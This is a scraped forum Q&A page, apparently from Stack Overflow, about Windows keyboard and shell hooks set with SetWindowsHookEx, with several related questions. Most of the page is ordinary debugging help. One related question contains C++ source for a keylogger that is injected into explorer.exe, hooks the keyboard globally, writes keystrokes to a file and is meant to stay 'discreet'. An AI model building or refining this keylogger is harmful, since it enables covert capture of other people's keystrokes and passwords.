I have a dll that gets called by a process and now I would like to implement an input check in the dll to react on certain inputs that occur in the application.
SetWindowsHookEx() with a KeyboardProc function seemed like a possible solution so I implemented it.
This is roughly how the code in the dll looks like:
static HHOOK hhk = NULL;
LRESULT CALLBACK keyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code == HC_ACTION && ((DWORD)lParam & 0x80000000) == 0) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n");
break;
}
}
return CallNextHookEx(hhk, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if(AllocConsole()){
freopen("CONOUT$", "w", stdout); // redirect output to console for debugging
}
printf("Dll loaded, lastError = %i\n", GetLastError());
printf("lastError = %i\n", GetLastError());
// sidenote: for some reason the first GetLastError() returns 0 while the second one returns 6 (invalid handle)
hhk = SetWindowsHookEx(WH_KEYBOARD, keyboardProc, hModule, GetCurrentThreadId());
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
printf("\nCleaning up...");
FreeConsole();
UnhookWindowsHookEx(hhk);
}
return TRUE;
}
However nothing happens (or gets printed) in the Console window when I press any key. It doesn't even seem like the keyboardProc function is accessed at any time.
It does work though when I pass NULL instead of GetCurrentThreadId() to SetWindowsHookEx().
But this causes the hook to work globally meaning that whenever I press a key in another application, a Console window pops up (because the dll gets called again) and he checks for key inputs there.
Obviously this is not desired and I would like to make this work with only the process that originally called the dll.
I already checked if GetCurrentThreadId() returns a valid ID and it seems to be indeed the main thread ID of the process that initially called the dll (checked with Process Explorer).
So now my question is what could be the problem and more importantly, what can I do to make it working?
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
uint process_id;
uint thread_id = GetWindowThreadProcessId(windowHandle, out process_id);
hhook = SetWindowsHookEx(WH_KEYBOARD, a_KeyboardProc, hInstance, 0);
I have used the code above to get the main thread_ID for a certain process. The good part is, the SetWindowsHookEx function gives a logical output. Unfortunately, the bad part is, if a key is pressed in the thread that has been hooked, the thread stops working.
In specific, the idHook parameter of SetWindowsHoookEx function was set to 2 (instead of 13) in my case for non-low-level keyboard events. It seems, at least to me, that LL corresponds to low-level, where keyboardProc should come with a WH_KEYBOARD instead of WH_KEYBOARD_LL.
I am not sure at this point how my response would be related to your question. Hopefully, we get what we need through discussion.
Related
I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.
I need to let my Dll works in background because if it dies, I lost my Hook function.
To do It, I have tried :
Sleep(INFINITE); : works a moment but explorer.exe crash
while(1); : works a moment but explorer.exe crash
system("pause") : working ! But I don't want a console appears on the screen, my keylogger has to be discreet.
getchar(): same as system("pause");
system("pause > null"); : access denied
this_thread::sleep_for(chrono::seconds(10)) : explorer crash
SetHook.dll :
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc : (I don't think it can help)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?
Sleeping in DllMain is almost certainly a bad idea.
I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
sorry, my english skill is very low.
i make a ATL(C++) dll. and handled by VB.
i make under base code.
WaitAndReadData, Thread_WaitAndReadData is working.
but, ::SendMessage, ::PostMessage is not working in Thread_WaitAndReadData or WaitAndReadData.
and breakpoint not working in Get_Data_Messagehandler.
(+ another function call.)
#define WM_SERVERTHREADFIREEVENT (WM_USER+2)
BEGIN_MSG_MAP(CHello)
CHAIN_MSG_MAP(CComControl<CHello>)
MESSAGE_HANDLER(WM_SERVERTHREADFIREEVENT, GetData_Messagehandler)
DEFAULT_REFLECTION_HANDLER()
END_MSG_MAP()
-
static DWORD WINAPI Thread_WaitAndReadData(LPVOID pParam)
-
STDMETHODIMP CHello::WaitAndReadData(BSTR* ret_Result)
{
// TODO: Add your implementation code here
DWORD dwThreadID;
thread = CreateThread(NULL, 0, Thread_WaitAndReadData, (LPVOID)this, 0, &dwThreadID);
return S_OK;
}
-
DWORD WINAPI CHello::Thread_WaitAndReadData(LPVOID pParam)
{
CHello* hello = (CHello*)pParam;
::SendMessage(hello->m_hWnd, WM_SERVERTHREADFIREEVENT, (WPARAM)NULL, (LPARAM)NULL);
return S_OK;
}
-
LRESULT CHello::GetData_Messagehandler(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)
{
MessageBox(L"GetData_Messagehandler", L"asd", MB_OK);
return 0;
}
Even though MSDN states that there is no marshaling of WM_USER + x messages in cross-process sending, if my memory serves me right you might have troubles with cross-thread sending as well. In this case use RegisterWindowMessage API to obtain "sendable" WM_xxx identifier rather than harcoding it using a #define
Don't use bare CreateThread, use AtlCreateThread instead (or, _beginthreadex). See why.
Another reason to not receive messages on window thread is thread deadlock or window creation on thread that does not have a message pump later on, in both cases a message might be sent but there is no dispatching it to window. You can also use Spy++ tool (spyxx.exe in Visual Studio Comment\Tools directory) to make sure that the message in question is indeed being sent to the window.
I want to detect all the top-level windows in order to send messages to it's Descendants.
How can I do that?
The following code seems to not be detecting Qt top level window, I don't know why.
static BOOL CALLBACK EnumWindowsProc(_In_ HWND hwnd, _In_ LPARAM lParam) {
WORD far wndProcessID;
WORD currentProcessID = GetCurrentProcessId();
std::vector<HWND> *topWindowList = (std::vector<HWND> *)lParam;
if (topWindowList != NULL &&
GetWindowThreadProcessId(hwnd, NULL) == currentProcessID) {
printf("Found a top level window");
fflush(stdout);
topWindowList->push_back(hwnd);
}
return TRUE;
}
void enumAllDesktopChildWindow() {
std::vector<HWND> topWindowList;
EnumChildWindows(GetDesktopWindow(), EnumWindowsProc, LPARAM(&topWindowList));
}
First, the GetWindowThreadProcessId API returns a Thread ID (TID) not a Process ID (PID)
Second, if you want to enumerate all top-level Windows, you should use EnumWindows, not EnumChildWindows. If you want to use EnumChildWindows, pass NULL as the first parameter.
I've been reading posts all over and trying different approaches, but I can't make this work.
I want to be able to track the last window before the user clicks on my application. This way I can bring it to the front and send a copy command to retrieve whatever the user has selected.
I thought about using hooks to receive notifications of activated windows, but it is not working as expected. I'm using HSHELL_WINDOWACTIVATED global hook to keep track of the current and last active window, but I always get both handles to be the same, pointing to my application.
The code looks like:
#pragma data_seg("ASEG")
HWND lastWindow = 0;
HWND currentWindow = 0;
#pragma data_seg()
#pragma comment(linker, "/section:ASEG,RWS")
HINSTANCE dllHandle;
BOOL APIENTRY DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
PVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
dllHandle = hinstDLL;
return TRUE;
break;
}
}
LRESULT CALLBACK ShellHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode > 0)
{
switch (nCode)
{
case HSHELL_WINDOWACTIVATED: lastWindow = currentWindow;
currentWindow = (HWND)wParam;
break;
}
}
return ::CallNextHookEx(NULL, nCode,wParam,lParam);
}
extern "C" {
__declspec(dllexport) void Init()
{
SetWindowsHookEx(WH_SHELL, ShellHookProc, dllHandle, 0);
}
}
Later on I would use the lastWindow to bring that window to the front and send a Ctrl+C command.
If you call GetWindowTextA(..) for each handle, the first time you activate a different window and go back to the application, lastWindow retrieves blank and currentWindow my application name. Any consecutive activations retrieve always the name of my application for both lastWindow and currentWindow.
I don't quite understand why this is happening. Any ideas?
Thanks!
I think you can use SetWinEventHook. This hook should allow you to capture the EVENT_SYSTEM_FOREGROUND message so that each time a window is brought to the foreground, you can capture the window handle. Then when your app window is activated, just look at the last value you captured.
See this: https://stackoverflow.com/a/4407715/1502289
Also, in your own code, you could simply do a comparison to see if the window handle is the handle to your own window. If not, save the handle.
Example:
...
case HSHELL_WINDOWACTIVATED:
if (lastWindow != [your own window's handle])
{
lastWindow = (HWND)wParam;
}
break;
...
I have a little console application that has an embedded v8 engine, and I would like to add a hook to register key events. This all worked before when I was using Qt and QtScript, but I am porting it all over to straight C++ in VC++ 2008. The application compiles and runs, but the hook is never called, here is the relevant code:
In main()
HWND hwndC = GetConsoleWindow() ;
HINSTANCE hInst = (HINSTANCE)GetWindowLong( hwndC, GWL_HINSTANCE );
if (SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, hInst, NULL) == 0) {
printf("Failed to set hook\n");
} else {
printf("Hook established\n");
}
g->RunScript(argc,argv);
And the proc:
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
printf("HookProc called\n");
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if (wParam == WM_KEYDOWN) {
keyDown(p,g);
} else if (wParam == WM_KEYUP) {
keyUp(p,g);
}
fflush(stdout);
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
This is essentially an expansion on shell.cc from the v8 sample code. I wonder if it is somehow blocking? I admit to not really knowing what I am doing here, just playing around and learning but this one has me stumped.
Inside of keyDown say, I have something like this:
v8::Handle<v8::String> callback_name = v8::String::New("onKeyDown");
v8::Handle<v8::Value> callback_val = g->_context->Global()->Get(callback_name);
if (!callback_val->IsFunction()) {
printf("No onKeyDown handler found\n");
return;
}
v8::Handle<v8::Function> callback = v8::Handle<v8::Function>::Cast(callback_val);
const int argc = 1;
v8::Handle<v8::Value> argv[argc] = { v8::Int32::New(char(p->vkCode)) };
printf("Calling onKeyDown\n");
v8::Handle<v8::Value> result = callback->Call(g->_context->Global(), argc, argv);
Some of this may actually not work in the end, but it just never gets called, when I run the program, and define: onKeyDown = function(key) {...}; I can see that onKeyDown is working just fine, I can use all of my bound c++ method etc from JS, so this thing is just driving me batty.
Any help, maybe pointers to some educational materials would be much appreciated.
Just to be clear, this function in c: LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) is never getting called, or never seeing a printf, and the output at the start says: Hook established, so windows is reporting the hook is established.
/Jason
A low-level hook, like WH_KEYBOARD_LL requires that your application pumps a message loop. That's the only way that Windows can break into your thread and make the call to the HookProc callback you registered.
A console mode app doesn't pump a message loop like regular Windows GUI apps do. Judging from your snippet, it isn't going to be easy to add one either. You'll need to create a thread.
Maybe this function will be of help to you?
GetAsyncKeyState